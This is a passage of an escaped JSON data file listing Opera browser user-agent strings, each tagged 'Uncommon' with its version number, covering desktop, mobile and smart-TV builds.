Mobile Safari\\/537.36 OPR\\/19.0.1340.71596\"},{\"commonality\":\"Uncommon\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/62.0.3202.89 Safari\\/537.36 OPR\\/49.0.2725.43\"},{\"commonality\":\"Uncommon\",\"version\":\"16\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/29.0.1547.76 Safari\\/537.36 OPR\\/16.0.1196.80\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Macintosh; Intel Mac OS X 10.8.2) Presto\\/2.12.388 Version\\/12.12\"},{\"commonality\":\"Uncommon\",\"version\":\"36\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/49.0.2623.75 Safari\\/537.36 OPR\\/36.0.2130.32\"},{\"commonality\":\"Uncommon\",\"version\":\"35\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/48.0.2564.82 Safari\\/537.36 OPR\\/35.0.2066.37\"},{\"commonality\":\"Uncommon\",\"version\":\"50\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/63.0.3239.132 Safari\\/537.36 OPR\\/50.0.2762.67\"},{\"commonality\":\"Uncommon\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/59.0.3071.86 Safari\\/537.36 OPR\\/46.0.2597.26\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Windows NT 5.1; Edition Campaign 21) Presto\\/2.12.388 Version\\/12.17\"},{\"commonality\":\"Uncommon\",\"version\":\"38\",\"ua\":\"Opera\\/9.80 (X11; Linux i686; Ubuntu\\/14.10) Presto\\/2.12.388 Version\\/38.0.2220.31\"},{\"commonality\":\"Uncommon\",\"version\":\"40\",\"ua\":\"Mozilla\\/5.0 (X11; Linux i686) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/53.0.2785.116 Safari\\/537.36 OPR\\/40.0.2308.81\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Opera\\/9.51 Beta (Microsoft Windows; PPC; Opera Mobi\\/1718; U; en)\"},{\"commonality\":\"Uncommon\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/60.0.3112.90 Safari\\/537.36 OPR\\/47.0.2631.83\"},{\"commonality\":\"Uncommon\",\"version\":\"15\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/28.0.1500.95 Safari\\/537.36 OPR\\/15.0.1147.153\"},{\"commonality\":\"Uncommon\",\"version\":\"41\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/54.0.2832.2 Safari\\/537.36 OPR\\/41.0.2340.0 (Edition developer)\"},{\"commonality\":\"Uncommon\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (X11; Linux i686) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/58.0.3029.110 Safari\\/537.36 OPR\\/45.0.2552.888\"},{\"commonality\":\"Uncommon\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/60.0.3112.78 Safari\\/537.36 OPR\\/47.0.2631.55\"},{\"commonality\":\"Uncommon\",\"version\":\"39\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/52.0.2739.0 Safari\\/537.36 OPR\\/39.0.2248.0 (Edition developer)\"},{\"commonality\":\"Uncommon\",\"version\":\"40\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/53.0.2785.116 Safari\\/537.36 OPR\\/40.0.2308.81\"},{\"commonality\":\"Uncommon\",\"version\":\"42\",\"ua\":\"Mozilla\\/5.0 (X11; Linux i686) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/55.0.2883.75 Safari\\/537.36 OPR\\/42.0.2393.85\"},{\"commonality\":\"Uncommon\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/64.0.3282.119 Safari\\/537.36 OPR\\/51.0.2830.26\"},{\"commonality\":\"Uncommon\",\"version\":\"41\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/54.0.2840.99 Safari\\/537.36 OPR\\/41.0.2353.69\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Linux mips; ) Presto\\/2.12.407 Version\\/12.51 MB97\\/0.45.18.4 (HITACHI, Mxl66148_V, wireless) VSTVB_MB97  SmartTvA\\/3.0.0\"},{\"commonality\":\"Uncommon\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/61.0.3163.100 Safari\\/537.36 OPR\\/48.0.2685.52\"},{\"commonality\":\"Uncommon\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/62.0.3202.89 Safari\\/537.36 OPR\\/49.0.2725.39\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Linux mips; ) Presto\\/2.12.407 Version\\/12.51 MB95\\/3.3.6.X (TOSHIBA, Si2156LG32, wireless)\"},{\"commonality\":\"Uncommon\",\"version\":\"16\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/29.0.1547.76 Safari\\/537.36 OPR\\/16.0.1196.80\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Linux mips; ) Presto\\/2.12.407 Version\\/12.51 MB97\\/0.45.23.11 (BUSH, Mxl661236_, wireless) VSTVB_MB97  SmartTvA\\/3.0.0\"},{\"commonality\":\"Uncommon\",\"version\":\"21\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/34.0.1825.4 Safari\\/537.36 OPR\\/21.0.1419.0 (Edition Developer)\"},{\"commonality\":\"Uncommon\",\"version\":\"44\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/57.0.2987.98 Safari\\/537.36 OPR\\/44.0.0.251023979 (Edition EXP135)\"},{\"commonality\":\"Uncommon\",\"version\":\"41\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/54.0.2824.2 Safari\\/537.36 OPR\\/41.0.2329.0 (Edition developer)\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Windows NT 6.1; WOW64; Edition Yx) Presto\\/2.12.388 Version\\/12.16\"},{\"commonality\":\"Uncommon\",\"version\":\"35\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/48.0.2564.116 Safari\\/537.36 OPR\\/35.0.2066.82\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Linux mips; ) Presto\\/2.12.407 Version\\/12.51 MB95\\/3.6.6.i (POLAROID, Si2157LG32, wireless)\"},{\"commonality\":\"Uncommon\",\"version\":\"43\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/56.0.2924.87 Safari\\/537.36 OPR\\/43.0.2442.1165\"},{\"commonality\":\"Uncommon\",\"version\":\"18\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 4.1.2; Nokia_X Build\\/JZO54K) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/31.0.1650.57 Mobile Safari\\/537.36 OPR\\/18.0.1290.68007\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Opera\\/9.80 (Windows NT 5.1; U; ru) Presto\\/2.10.229 Version\\/11.64\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Linux mips; ) Presto\\/2.12.407 Version\\/12.51 MB97\\/0.39.24.3 (LUXOR, Mxl661L32, wireless) VSTVB_MB97  SmartTvA\\/3.0.0\"},{\"commonality\":\"Uncommon\",\"version\":\"33\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/46.0.2490.86 Safari\\/537.36 OPR\\/33.0.1990.115\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Windows NT 6.2) Presto\\/2.12.388 Version\\/12.17\"},{\"commonality\":\"Uncommon\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/64.0.3278.0 Safari\\/537.36 OPR\\/51.0.2802.0 (Edition developer)\"},{\"commonality\":\"Uncommon\",\"version\":\"38\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/51.0.2704.63 Safari\\/537.36 OPR\\/38.0.2220.29\"},{\"commonality\":\"Uncommon\",\"version\":\"44\",\"ua\":\"Mozilla\\/5.0 (X11; Linux i686) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/57.0.2987.98 Safari\\/537.36 OPR\\/44.0.2510.857\"},{\"commonality\":\"Uncommon\",\"version\":\"41\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/54.0.2832.2 Safari\\/537.36 OPR\\/41.0.2349.0 (Edition developer)\"},{\"commonality\":\"Uncommon\",\"version\":\"42\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/55.0.2883.87 Safari\\/537.36 OPR\\/42.0.2393.351\"},{\"commonality\":\"Uncommon\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/62.0.3175.3 Safari\\/537.36 OPR\\/49.0.2695.0 (Edition developer)\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Windows NT 6.1; Edition IBIS) Presto\\/2.12.388 Version\\/12.15\"},{\"commonality\":\"Uncommon\",\"version\":\"13\",\"ua\":\"Mozilla\\/5.0 (X11; U; FreeBSD i386; zh-tw; rv:31.0) Gecko\\/20100101 Opera\\/13.0\"},{\"commonality\":\"Uncommon\",\"version\":\"30\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/43.0.2357.134 Safari\\/537.36 OPR\\/30.0.1835.151\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Opera\\/9.50 (Windows NT 5.1; U; nn)\"},{\"commonality\":\"Uncommon\",\"version\":\"36\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/49.0.2623.112 Safari\\/537.36 OPR\\/36.0.2130.80 (Edition Campaign 67)\"},{\"commonality\":\"Uncommon\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/64.0.3282.186 Safari\\/537.36 OPR\\/51.0.2830.55\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Windows; Opera Mobi\\/35779; U; en) Presto\\/2.10.254 Version\\/12.00\"},{\"commonality\":\"Uncommon\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/64.0.3282.186 Safari\\/537.36 OPR\\/51.0.2830.55\"},{\"commonality\":\"Uncommon\",\"version\":\"52\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/65.0.3325.181 Safari\\/537.36 OPR\\/52.0.2871.37\"},{\"commonality\":\"Uncommon\",\"version\":\"30\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/43.2357.125 Safari\\/537.36 OPR\\/30.0.1835.88\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Linux armv6l; Opera TV Store\\/5581; (SonyBDP\\/BDV13)) Presto\\/2.12.362 Version\\/12.11\"},{\"commonality\":\"Uncommon\",\"version\":\"34\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/47.0.2526.73 Safari\\/537.36 OPR\\/34.0.2036.25\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Linux mips; U; ; en) Presto\\/2.10.287 Version\\/12.00\"},{\"commonality\":\"Uncommon\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/62.0.3202.94 Safari\\/537.36 OPR\\/49.0.2725.64\"},{\"commonality\":\"Uncommon\",\"version\":\"36\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/49.0.2623.87 Safari\\/537.36 OPR\\/36.0.2130.66\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Opera\\/53.0.2785. (Windows NT 6.2 ; U; en-US) Presto\\/6.7.800 Version\\/53.0.2785.\"},{\"commonality\":\"Uncommon\",\"version\":\"52\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/55.0.2883.87 Safari\\/537.36 OPR\\/52.0.2871.40\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Windows NT 10.0; Win64; x64) Presto\\/2.12.388 Version\\/12.18\"},{\"commonality\":\"Uncommon\",\"version\":\"37\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/50.0.2661.94 Safari\\/537.36 OPR\\/37.0.2178.43\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Opera\\/9.80 (X11; Linux i686; U; hu) Presto\\/2.9.168 Version\\/11.50\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Linux armv7l; Opera TV Store\\/5581) Presto\\/2.12.362 Version\\/12.11\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 5.1) Opera 12.16\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Android 4.0.3; Linux; Opera Mobi\\/ADR-1301080958) Presto\\/2.11.355 Version\\/12.10\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (X11; Linux x86_64) Presto\\/2.12.388 Version\\/12.15\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Opera\\/9.80 (Android 2.3.3; Linux; Opera Mobi\\/ADR-1111101157; U; es-ES) Presto\\/2.9.201 Version\\/11.50\"},{\"commonality\":\"Uncommon\",\"version\":\"22\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/35.0.1916.153 Safari\\/537.36 OPR\\/22.0.1471.70 (Edition Campaign 37)\"},{\"commonality\":\"Uncommon\",\"version\":\"24\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/37.0.2062.122 Safari\\/537.36 OPR\\/24.0.1558.64 (Edition FCR)\"},{\"commonality\":\"Uncommon\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/61.0.3163.100 Safari\\/537.36 OPR\\/48.0.2685.52\"},{\"commonality\":\"Uncommon\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/62.0.3202.62 Safari\\/537.36 OPR\\/49.0.2725.34\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/ 12.0(x11; Linux x86-64; U; Linux Mint; en) Presto\\/2.2.15 Version\\/12.0\"},{\"commonality\":\"Uncommon\",\"version\":\"27\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/40.0.2214.111 Safari\\/537.36 OPR\\/27.0.1689.69 (Edition Campaign 49)\"},{\"commonality\":\"Uncommon\",\"version\":\"27\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/40.0.2214.89 Safari\\/537.36 OPR\\/27.0.1698.89115\"},{\"commonality\":\"Uncommon\",\"version\":\"42\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/55.0.2859.0 Safari\\/537.36 OPR\\/42.0.2372.0 (Edition developer)\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Linux armv7l;  HbbTV\\/1.1.1 (; Philips; ; ; PhilipsTV; ) CE-HTML\\/1.0 NETTV\\/4.3.1 PhilipsTV\\/2.1.1 Firmware\\/003.015.000.001 (PhilipsTV, 2.1.1,) en) Presto\\/2.12.362 Version\\/12.11\"},{\"commonality\":\"Uncommon\",\"version\":\"36\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/49.0.2623.64 Safari\\/537.36 OPR\\/36.0.2126.101126\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1) AppleWebKit\\/538.1 (KHTML, like Gecko) Safari\\/538.1 OPR\"},{\"commonality\":\"Uncommon\",\"version\":\"31\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/44.0.2403.107 Safari\\/537.36 OPR\\/31.0.1889.99\"},{\"commonality\":\"Uncommon\",\"version\":\"6\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 5.0; Windows 2000) Opera 6.0 [en]\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Macintosh; Intel Mac OS X 10.11.3) Presto\\/2.12.388 Version\\/12.16\"},{\"commonality\":\"Uncommon\",\"version\":\"27\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/40.0.2214.111 Safari\\/537.36 OPR\\/27.0.1689.69 (Edition Goru)\"},{\"commonality\":\"Uncommon\",\"version\":\"31\",\"ua\":\"Mozilla\\/5.0 (Linux armv7l) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/44.0.2403.130 Safari\\/537.36 OPR\\/31.0.1890.0 OMI\\/4.6.1.40.Dominik2.157 VSTVB MB100 FVC\\/1.0 (LUXOR; MB110; 2.18.2.0) HbbTV\\/1.3.1 (; LUXOR; MB110; 2.18.2.0; ;) SmartTvA\\/3.0.0\"},{\"commonality\":\"Uncommon\",\"version\":\"20\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/33.0.1750.117 Safari\\/537.36 OPR\\/20.0.1387.64\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Android 4.0.4; Linux; Opera Mobi\\/ADR-1205181138; U; pl) Presto\\/2.10.254 Version\\/12.00\"},{\"commonality\":\"Uncommon\",\"version\":\"29\",\"ua\":\"Mozilla\\/5.0 (Linux armv7l) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/42.0.2311.152 Safari\\/537.36 OPR\\/29.0.1803.0 OMI\\/4.5.23.37.ALSAN5.131 TV Store\\/4.5 Model\\/Sony-KDL-40W650D\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Linux armv7l; HbbTV\\/1.2.1 (; Philips; ; ; PHILIPSTV;  CE-HTML\\/1.0 NETTV\\/4.4.1 SmartTvA\\/3.0.0 Firmware\\/000.003.028.002 (PhilipsTV, 3.1.1,)en) ) Presto\\/2.12.407 Version\\/12.50\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Windows NT 6.2) Presto\\/2.12.388 Version\\/12.15\"},{\"commonality\":\"Uncommon\",\"version\":\"15\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/28.0.1500.72 Safari\\/537.36 OPR\\/15.0.1147.148\"},{\"commonality\":\"Uncommon\",\"version\":\"28\",\"ua\":\"Mozilla\\/5.0 (Linux; BRAVIA 2015 Build\\/LMY48E.S243) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/41.0.2272.101 Safari\\/537.36 OPR\\/28.0.1754.0 OMI\\/4.4.22.20.E102586-1.136\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Linux mips; ) Presto\\/2.12.407 Version\\/12.51 MB97\\/0.0.39.18 (BUSH, Mxl661L32, wireless) VSTVB_MB97  SmartTvA\\/3.0.0\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Linux mips; ) Presto\\/2.12.407 Version\\/12.51 MB97\\/0.0.39.10 (HITACHI, Mxl661L32, wireless) VSTVB_MB97  SmartTvA\\/3.0.0\"},{\"commonality\":\"Uncommon\",\"version\":\"30\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 4.4.2; LG-F240L Build\\/KVT49L) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/43.0.2357.78 Mobile Safari\\/537.36 OPR\\/30.0.1856.93524\"},{\"commonality\":\"Uncommon\",\"version\":\"27\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/40.0.2214.28 Safari\\/537.36 OPR\\/27.0.1689.29 (Edition beta)\"},{\"commonality\":\"Uncommon\",\"version\":\"35\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/48.0.2564.82 Safari\\/537.36 OPR\\/35.0.2066.37\"},{\"commonality\":\"Uncommon\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/64.0.3282.168 Safari\\/537.36 OPR\\/51.0.2830.40\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Windows NT 6.1; Edition Yx) Presto\\/2.12.388 Version\\/12.16\"},{\"commonality\":\"Uncommon\",\"version\":\"36\",\"ua\":\"Mozilla\\/5.0 (X11; Linux i686) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/49.0.2623.75 Safari\\/537.36 OPR\\/36.0.2130.32\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Linux armv7l; U;  CE-HTML\\/1.0 NETTV\\/4.1.1 PHILIPSTV\\/2.1.1; en) Presto\\/2.10.287 Version\\/12.00\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Linux i686; Opera TV Store\\/5449) Presto\\/2.12.362 Version\\/12.10 Model\\/Opera-TvEmulator\"},{\"commonality\":\"Uncommon\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/62.0.3202.89 Safari\\/537.36 OPR\\/49.0.2725.47 (Edition Campaign 76)\"},{\"commonality\":\"Uncommon\",\"version\":\"37\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0; Win128; x128) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/62.0.3202.18 Safari\\/537.36 OPR\\/37.0.2178.54\"},{\"commonality\":\"Uncommon\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/61.0.3153.0 Safari\\/537.36 OPR\\/48.0.2670.0 (Edition developer)\"},{\"commonality\":\"Uncommon\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/62.0.3202.94 Safari\\/537.36 OPR\\/49.0.2725.64\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Android 2.3.6; Linux; Opera Mobi\\/ADR-1301071820) Presto\\/2.11.355 Version\\/12.10\"},{\"commonality\":\"Uncommon\",\"version\":\"44\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/57.0.2987.19 Safari\\/537.36 OPR\\/44.0.2505.0 (Edition developer)\"},{\"commonality\":\"Uncommon\",\"version\":\"52\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/65.0.3325.162 Safari\\/537.36 OPR\\/52.0.2871.27 (Edition beta)\"},{\"commonality\":\"Uncommon\",\"version\":\"30\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/43.0.2357.18 Safari\\/537.36 OPR\\/30.0.1835.18 (Edition beta)\"},{\"commonality\":\"Uncommon\",\"version\":\"27\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/40.0.2214.94 Safari\\/537.36 OPR\\/27.0.1689.66\"},{\"commonality\":\"Uncommon\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/59.0.3071.115 Safari\\/537.36 OPR\\/46.0.2597.46\"},{\"commonality\":\"Uncommon\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/60.0.3112.90 Safari\\/537.36 OPR\\/47.0.2631.80\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Linux armv7l; Maemo; Opera Mobi\\/16) Presto\\/2.11.355 Version\\/12.10\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Macintosh; Intel Mac OS X 10.8.2) Presto\\/2.12.388 Version\\/12.10\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (X11; Linux i686) Presto\\/2.12.388 Version\\/12.11\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Windows NT 6.1; WOW64; Edition United States Local) Presto\\/2.12.388 Version\\/12.16\"},{\"commonality\":\"Uncommon\",\"version\":\"38\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/51.0.2704.106 Safari\\/537.36 OPR\\/38.0.2220.41\"},{\"commonality\":\"Uncommon\",\"version\":\"50\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/63.0.3239.108 Safari\\/537.36 OPR\\/50.0.2762.45\"},{\"commonality\":\"Uncommon\",\"version\":\"38\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0) 